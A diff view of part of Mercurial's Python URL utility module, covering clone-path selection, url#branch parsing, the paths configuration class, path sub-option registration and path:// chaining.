569 # Try to resolve as a local path or URI.
575 path = try_path(ui, source)
570 path = try_path(ui, source)
576 if path is not None:
571 if path is not None:
577 urls.append(path.rawloc)
572 urls.append(path.rawloc)
578 else:
573 else:
579 urls.append(source)
574 urls.append(source)
580 if len(urls) != 1:
575 if len(urls) != 1:
581 if source is None:
576 if source is None:
582 msg = _(
577 msg = _(
583 b"default path points to %d urls while %s only supports one"
578 b"default path points to %d urls while %s only supports one"
584 )
579 )
585 msg %= (len(urls), action)
580 msg %= (len(urls), action)
586 else:
581 else:
587 msg = _(b"path points to %d urls while %s only supports one: %s")
582 msg = _(b"path points to %d urls while %s only supports one: %s")
588 msg %= (len(urls), action, source)
583 msg %= (len(urls), action, source)
589 raise error.Abort(msg)
584 raise error.Abort(msg)
590 return parseurl(urls[0], default_branches)
585 return parseurl(urls[0], default_branches)
591
586
592
587
593 def get_clone_path(ui, source, default_branches=()):
588 def get_clone_path(ui, source, default_branches=()):
594 """return the `(origsource, path, branch)` selected as clone source"""
589 """return the `(origsource, path, branch)` selected as clone source"""
595 urls = []
590 urls = []
596 if source is None:
591 if source is None:
597 if b'default' in ui.paths:
592 if b'default' in ui.paths:
598 urls.extend(p.rawloc for p in ui.paths[b'default'])
593 urls.extend(p.rawloc for p in ui.paths[b'default'])
599 else:
594 else:
600 # XXX this is the historical default behavior, but that is not
595 # XXX this is the historical default behavior, but that is not
601 # great, consider breaking BC on this.
596 # great, consider breaking BC on this.
602 urls.append(b'default')
597 urls.append(b'default')
603 else:
598 else:
604 if source in ui.paths:
599 if source in ui.paths:
605 urls.extend(p.rawloc for p in ui.paths[source])
600 urls.extend(p.rawloc for p in ui.paths[source])
606 else:
601 else:
607 # Try to resolve as a local path or URI.
602 # Try to resolve as a local path or URI.
608 path = try_path(ui, source)
603 path = try_path(ui, source)
609 if path is not None:
604 if path is not None:
610 urls.append(path.rawloc)
605 urls.append(path.rawloc)
611 else:
606 else:
612 urls.append(source)
607 urls.append(source)
613 if len(urls) != 1:
608 if len(urls) != 1:
614 if source is None:
609 if source is None:
615 msg = _(
610 msg = _(
616 b"default path points to %d urls while only one is supported"
611 b"default path points to %d urls while only one is supported"
617 )
612 )
618 msg %= len(urls)
613 msg %= len(urls)
619 else:
614 else:
620 msg = _(b"path points to %d urls while only one is supported: %s")
615 msg = _(b"path points to %d urls while only one is supported: %s")
621 msg %= (len(urls), source)
616 msg %= (len(urls), source)
622 raise error.Abort(msg)
617 raise error.Abort(msg)
623 url = urls[0]
618 url = urls[0]
624 clone_path, branch = parseurl(url, default_branches)
619 clone_path, branch = parseurl(url, default_branches)
625 return url, clone_path, branch
620 return url, clone_path, branch
626
621
627
622
628 def parseurl(path, branches=None):
623 def parseurl(path, branches=None):
629 '''parse url#branch, returning (url, (branch, branches))'''
624 '''parse url#branch, returning (url, (branch, branches))'''
630 u = url(path)
625 u = url(path)
631 branch = None
626 branch = None
632 if u.fragment:
627 if u.fragment:
633 branch = u.fragment
628 branch = u.fragment
634 u.fragment = None
629 u.fragment = None
635 return bytes(u), (branch, branches or [])
630 return bytes(u), (branch, branches or [])
636
631
637
632
638 class paths(dict):
633 class paths(dict):
639 """Represents a collection of paths and their configs.
634 """Represents a collection of paths and their configs.
640
635
641 Data is initially derived from ui instances and the config files they have
636 Data is initially derived from ui instances and the config files they have
642 loaded.
637 loaded.
643 """
638 """
644
639
645 def __init__(self, ui):
640 def __init__(self, ui):
646 dict.__init__(self)
641 dict.__init__(self)
647
642
648 home_path = os.path.expanduser(b'~')
643 home_path = os.path.expanduser(b'~')
649
644
650 for name, value in ui.configitems(b'paths', ignoresub=True):
645 for name, value in ui.configitems(b'paths', ignoresub=True):
651 # No location is the same as not existing.
646 # No location is the same as not existing.
652 if not value:
647 if not value:
653 continue
648 continue
654 _value, sub_opts = ui.configsuboptions(b'paths', name)
649 _value, sub_opts = ui.configsuboptions(b'paths', name)
655 s = ui.configsource(b'paths', name)
650 s = ui.configsource(b'paths', name)
656 root_key = (name, value, s)
651 root_key = (name, value, s)
657 root = ui._path_to_root.get(root_key, home_path)
652 root = ui._path_to_root.get(root_key, home_path)
658
653
659 multi_url = sub_opts.get(b'multi-urls')
654 multi_url = sub_opts.get(b'multi-urls')
660 if multi_url is not None and stringutil.parsebool(multi_url):
655 if multi_url is not None and stringutil.parsebool(multi_url):
661 base_locs = stringutil.parselist(value)
656 base_locs = stringutil.parselist(value)
662 else:
657 else:
663 base_locs = [value]
658 base_locs = [value]
664
659
665 paths = []
660 paths = []
666 for loc in base_locs:
661 for loc in base_locs:
667 loc = os.path.expandvars(loc)
662 loc = os.path.expandvars(loc)
668 loc = os.path.expanduser(loc)
663 loc = os.path.expanduser(loc)
669 if not hasscheme(loc) and not os.path.isabs(loc):
664 if not hasscheme(loc) and not os.path.isabs(loc):
670 loc = os.path.normpath(os.path.join(root, loc))
665 loc = os.path.normpath(os.path.join(root, loc))
671 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
666 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
672 paths.append(p)
667 paths.append(p)
673 self[name] = paths
668 self[name] = paths
674
669
675 for name, old_paths in sorted(self.items()):
670 for name, old_paths in sorted(self.items()):
676 new_paths = []
671 new_paths = []
677 for p in old_paths:
672 for p in old_paths:
678 new_paths.extend(_chain_path(p, ui, self))
673 new_paths.extend(_chain_path(p, ui, self))
679 self[name] = new_paths
674 self[name] = new_paths
680
675
681 def getpath(self, ui, name, default=None):
676 def getpath(self, ui, name, default=None):
682 """Return a ``path`` from a string, falling back to default.
677 """Return a ``path`` from a string, falling back to default.
683
678
684 ``name`` can be a named path or locations. Locations are filesystem
679 ``name`` can be a named path or locations. Locations are filesystem
685 paths or URIs.
680 paths or URIs.
686
681
687 Returns None if ``name`` is not a registered path, a URI, or a local
682 Returns None if ``name`` is not a registered path, a URI, or a local
688 path to a repo.
683 path to a repo.
689 """
684 """
690 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
685 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
691 ui.deprecwarn(msg, b'6.0')
686 ui.deprecwarn(msg, b'6.0')
692 # Only fall back to default if no path was requested.
687 # Only fall back to default if no path was requested.
693 if name is None:
688 if name is None:
694 if not default:
689 if not default:
695 default = ()
690 default = ()
696 elif not isinstance(default, (tuple, list)):
691 elif not isinstance(default, (tuple, list)):
697 default = (default,)
692 default = (default,)
698 for k in default:
693 for k in default:
699 try:
694 try:
700 return self[k][0]
695 return self[k][0]
701 except KeyError:
696 except KeyError:
702 continue
697 continue
703 return None
698 return None
704
699
705 # Most likely empty string.
700 # Most likely empty string.
706 # This may need to raise in the future.
701 # This may need to raise in the future.
707 if not name:
702 if not name:
708 return None
703 return None
709 if name in self:
704 if name in self:
710 return self[name][0]
705 return self[name][0]
711 else:
706 else:
712 # Try to resolve as a local path or URI.
707 # Try to resolve as a local path or URI.
713 path = try_path(ui, name)
708 path = try_path(ui, name)
714 if path is None:
709 if path is None:
715 raise error.RepoError(_(b'repository %s does not exist') % name)
710 raise error.RepoError(_(b'repository %s does not exist') % name)
716 return path.rawloc
711 return path.rawloc
717
712
718
713
719 _pathsuboptions = {}
714 _pathsuboptions = {}
720
715
721
716
722 def pathsuboption(option, attr):
717 def pathsuboption(option, attr):
723 """Decorator used to declare a path sub-option.
718 """Decorator used to declare a path sub-option.
724
719
725 Arguments are the sub-option name and the attribute it should set on
720 Arguments are the sub-option name and the attribute it should set on
726 ``path`` instances.
721 ``path`` instances.
727
722
728 The decorated function will receive as arguments a ``ui`` instance,
723 The decorated function will receive as arguments a ``ui`` instance,
729 ``path`` instance, and the string value of this option from the config.
724 ``path`` instance, and the string value of this option from the config.
730 The function should return the value that will be set on the ``path``
725 The function should return the value that will be set on the ``path``
731 instance.
726 instance.
732
727
733 This decorator can be used to perform additional verification of
728 This decorator can be used to perform additional verification of
734 sub-options and to change the type of sub-options.
729 sub-options and to change the type of sub-options.
735 """
730 """
736
731
737 def register(func):
732 def register(func):
738 _pathsuboptions[option] = (attr, func)
733 _pathsuboptions[option] = (attr, func)
739 return func
734 return func
740
735
741 return register
736 return register
742
737
743
738
744 @pathsuboption(b'pushurl', b'pushloc')
739 @pathsuboption(b'pushurl', b'pushloc')
745 def pushurlpathoption(ui, path, value):
740 def pushurlpathoption(ui, path, value):
746 u = url(value)
741 u = url(value)
747 # Actually require a URL.
742 # Actually require a URL.
748 if not u.scheme:
743 if not u.scheme:
749 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
744 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
750 msg %= (path.name, value)
745 msg %= (path.name, value)
751 ui.warn(msg)
746 ui.warn(msg)
752 return None
747 return None
753
748
754 # Don't support the #foo syntax in the push URL to declare branch to
749 # Don't support the #foo syntax in the push URL to declare branch to
755 # push.
750 # push.
756 if u.fragment:
751 if u.fragment:
757 ui.warn(
752 ui.warn(
758 _(
753 _(
759 b'("#fragment" in paths.%s:pushurl not supported; '
754 b'("#fragment" in paths.%s:pushurl not supported; '
760 b'ignoring)\n'
755 b'ignoring)\n'
761 )
756 )
762 % path.name
757 % path.name
763 )
758 )
764 u.fragment = None
759 u.fragment = None
765
760
766 return bytes(u)
761 return bytes(u)
767
762
768
763
769 @pathsuboption(b'pushrev', b'pushrev')
764 @pathsuboption(b'pushrev', b'pushrev')
770 def pushrevpathoption(ui, path, value):
765 def pushrevpathoption(ui, path, value):
771 return value
766 return value
772
767
773
768
774 @pathsuboption(b'multi-urls', b'multi_urls')
769 @pathsuboption(b'multi-urls', b'multi_urls')
775 def multiurls_pathoption(ui, path, value):
770 def multiurls_pathoption(ui, path, value):
776 res = stringutil.parsebool(value)
771 res = stringutil.parsebool(value)
777 if res is None:
772 if res is None:
778 ui.warn(
773 ui.warn(
779 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
774 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
780 )
775 )
781 res = False
776 res = False
782 return res
777 return res
783
778
784
779
785 def _chain_path(base_path, ui, paths):
780 def _chain_path(base_path, ui, paths):
786 """return the result of "path://" logic applied on a given path"""
781 """return the result of "path://" logic applied on a given path"""
787 new_paths = []
782 new_paths = []
788 if base_path.url.scheme != b'path':
783 if base_path.url.scheme != b'path':
789 new_paths.append(base_path)
784 new_paths.append(base_path)
790 else:
785 else:
791 assert base_path.url.path is None
786 assert base_path.url.path is None
792 sub_paths = paths.get(base_path.url.host)
787 sub_paths = paths.get(base_path.url.host)
793 if sub_paths is None:
788 if sub_paths is None:
794 m = _(b'cannot use `%s`, "%s" is not a known path')
789 m = _(b'cannot use `%s`, "%s" is not a known path')
795 m %= (base_path.rawloc, base_path.url.host)
790 m %= (base_path.rawloc, base_path.url.host)
796 raise error.Abort(m)
791 raise error.Abort(m)
797 for subpath in sub_paths:
792 for subpath in sub_paths:
798 path = base_path.copy()
793 path = base_path.copy()
799 if subpath.raw_url.scheme == b'path':
794 if subpath.raw_url.scheme == b'path':
800 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
795 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
801 m %= (path.rawloc, path.url.host)
796 m %= (path.rawloc, path.url.host)
802 raise error.Abort(m)
797 raise error.Abort(m)
803 path.url = subpath.url
798 path.url = subpath.url
804 path.rawloc = subpath.rawloc
799 path.rawloc = subpath.rawloc
805 path.loc = subpath.loc
800 path.loc = subpath.loc
806 if path.branch is None:
801 if path.branch is None:
807 path.branch = subpath.branch
802 path.branch = subpath.branch
808 else:
803 else:
809 base = path.rawloc.rsplit(b'#', 1)[0]
804 base = path.rawloc.rsplit(b'#', 1)[0]
810 path.rawloc = b'%s#%s' % (base, path.branch)
805 path.rawloc = b'%s#%s' % (base, path.branch)
811 suboptions = subpath._all_sub_opts.copy()
806 suboptions = subpath._all_sub_opts.copy()
812 suboptions.update(path._own_sub_opts)
807 suboptions.update(path._own_sub_opts)
813 path._apply_suboptions(ui, suboptions)
808 path._apply_suboptions(ui, suboptions)
814 new_paths.append(path)
809 new_paths.append(path)
815 return new_paths
810 return new_paths
816
811
817
812
818 class path(object):
813 class path(object):
819 """Represents an individual path and its configuration."""
814 """Represents an individual path and its configuration."""
820
815
821 def __init__(
816 def __init__(
822 self,
817 self,
823 ui=None,
818 ui=None,
824 name=None,
819 name=None,
825 rawloc=None,
820 rawloc=None,
826 suboptions=None,
821 suboptions=None,
827 validate_path=True,
822 validate_path=True,
828 ):
823 ):
829 """Construct a path from its config options.
824 """Construct a path from its config options.
830
825
831 ``ui`` is the ``ui`` instance the path is coming from.
826 ``ui`` is the ``ui`` instance the path is coming from.
832 ``name`` is the symbolic name of the path.
827 ``name`` is the symbolic name of the path.
833 ``rawloc`` is the raw location, as defined in the config.
828 ``rawloc`` is the raw location, as defined in the config.
834 ``pushloc`` is the raw locations pushes should be made to.
829 ``pushloc`` is the raw locations pushes should be made to.
835
830
836 If ``name`` is not defined, we require that the location be a) a local
831 If ``name`` is not defined, we require that the location be a) a local
837 filesystem path with a .hg directory or b) a URL. If not,
832 filesystem path with a .hg directory or b) a URL. If not,
838 ``ValueError`` is raised.
833 ``ValueError`` is raised.
839 """
834 """
840 if ui is None:
835 if ui is None:
841 # used in copy
836 # used in copy
842 assert name is None
837 assert name is None
843 assert rawloc is None
838 assert rawloc is None
844 assert suboptions is None
839 assert suboptions is None
845 return
840 return
846
841
847 if not rawloc:
842 if not rawloc:
848 raise ValueError(b'rawloc must be defined')
843 raise ValueError(b'rawloc must be defined')
849
844
850 # Locations may define branches via syntax <base>#<branch>.
845 # Locations may define branches via syntax <base>#<branch>.
851 u = url(rawloc)
846 u = url(rawloc)
852 branch = None
847 branch = None
853 if u.fragment:
848 if u.fragment:
854 branch = u.fragment
849 branch = u.fragment
855 u.fragment = None
850 u.fragment = None
856
851
857 self.url = u
852 self.url = u
858 # the url from the config/command line before dealing with `path://`
853 # the url from the config/command line before dealing with `path://`
859 self.raw_url = u.copy()
854 self.raw_url = u.copy()
860 self.branch = branch
855 self.branch = branch
861
856
862 self.name = name
857 self.name = name
863 self.rawloc = rawloc
858 self.rawloc = rawloc
864 self.loc = b'%s' % u
859 self.loc = b'%s' % u
865
860
866 if validate_path:
861 if validate_path:
867 self._validate_path()
862 self._validate_path()
868
863
869 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
864 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
870 self._own_sub_opts = {}
865 self._own_sub_opts = {}
871 if suboptions is not None:
866 if suboptions is not None:
872 self._own_sub_opts = suboptions.copy()
867 self._own_sub_opts = suboptions.copy()
873 sub_opts.update(suboptions)
868 sub_opts.update(suboptions)
874 self._all_sub_opts = sub_opts.copy()
869 self._all_sub_opts = sub_opts.copy()
875
870
876 self._apply_suboptions(ui, sub_opts)
871 self._apply_suboptions(ui, sub_opts)
877
872
878 def copy(self):
873 def copy(self):
879 """make a copy of this path object"""
874 """make a copy of this path object"""
880 new = self.__class__()
875 new = self.__class__()
881 for k, v in self.__dict__.items():
876 for k, v in self.__dict__.items():
882 new_copy = getattr(v, 'copy', None)
877 new_copy = getattr(v, 'copy', None)
883 if new_copy is not None:
878 if new_copy is not None:
884 v = new_copy()
879 v = new_copy()
885 new.__dict__[k] = v
880 new.__dict__[k] = v
886 return new
881 return new
887
882
888 def _validate_path(self):
883 def _validate_path(self):
889 # When given a raw location but not a symbolic name, validate the
884 # When given a raw location but not a symbolic name, validate the
890 # location is valid.
885 # location is valid.
891 if (
886 if (
892 not self.name
887 not self.name
893 and not self.url.scheme
888 and not self.url.scheme
894 and not self._isvalidlocalpath(self.loc)
889 and not self._isvalidlocalpath(self.loc)
895 ):
890 ):
896 raise ValueError(
891 raise ValueError(
897 b'location is not a URL or path to a local '
892 b'location is not a URL or path to a local '
898 b'repo: %s' % self.rawloc
893 b'repo: %s' % self.rawloc
899 )
894 )
900
895
901 def _apply_suboptions(self, ui, sub_options):
896 def _apply_suboptions(self, ui, sub_options):
902 # Now process the sub-options. If a sub-option is registered, its
897 # Now process the sub-options. If a sub-option is registered, its
903 # attribute will always be present. The value will be None if there
898 # attribute will always be present. The value will be None if there
904 # was no valid sub-option.
899 # was no valid sub-option.
905 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
900 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
906 if suboption not in sub_options:
901 if suboption not in sub_options:
907 setattr(self, attr, None)
902 setattr(self, attr, None)
908 continue
903 continue
909
904
910 value = func(ui, self, sub_options[suboption])
905 value = func(ui, self, sub_options[suboption])
911 setattr(self, attr, value)
906 setattr(self, attr, value)
912
907
913 def _isvalidlocalpath(self, path):
908 def _isvalidlocalpath(self, path):
914 """Returns True if the given path is a potentially valid repository.
909 """Returns True if the given path is a potentially valid repository.
915 This is its own function so that extensions can change the definition of
910 This is its own function so that extensions can change the definition of
916 'valid' in this case (like when pulling from a git repo into a hg
911 'valid' in this case (like when pulling from a git repo into a hg
917 one)."""
912 one)."""
918 try:
913 try:
919 return os.path.isdir(os.path.join(path, b'.hg'))
914 return os.path.isdir(os.path.join(path, b'.hg'))
920 # Python 2 may return TypeError. Python 3, ValueError.
915 # Python 2 may return TypeError. Python 3, ValueError.
921 except (TypeError, ValueError):
916 except (TypeError, ValueError):
922 return False
917 return False
923
918
924 @property
919 @property
925 def suboptions(self):
920 def suboptions(self):
926 """Return sub-options and their values for this path.
921 """Return sub-options and their values for this path.
927
922
928 This is intended to be used for presentation purposes.
923 This is intended to be used for presentation purposes.
929 """
924 """
930 d = {}
925 d = {}
931 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
926 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
932 value = getattr(self, attr)
927 value = getattr(self, attr)
933 if value is not None:
928 if value is not None:
934 d[subopt] = value
929 d[subopt] = value
935 return d
930 return d
General Comments 0
You need to be logged in to leave comments. Login now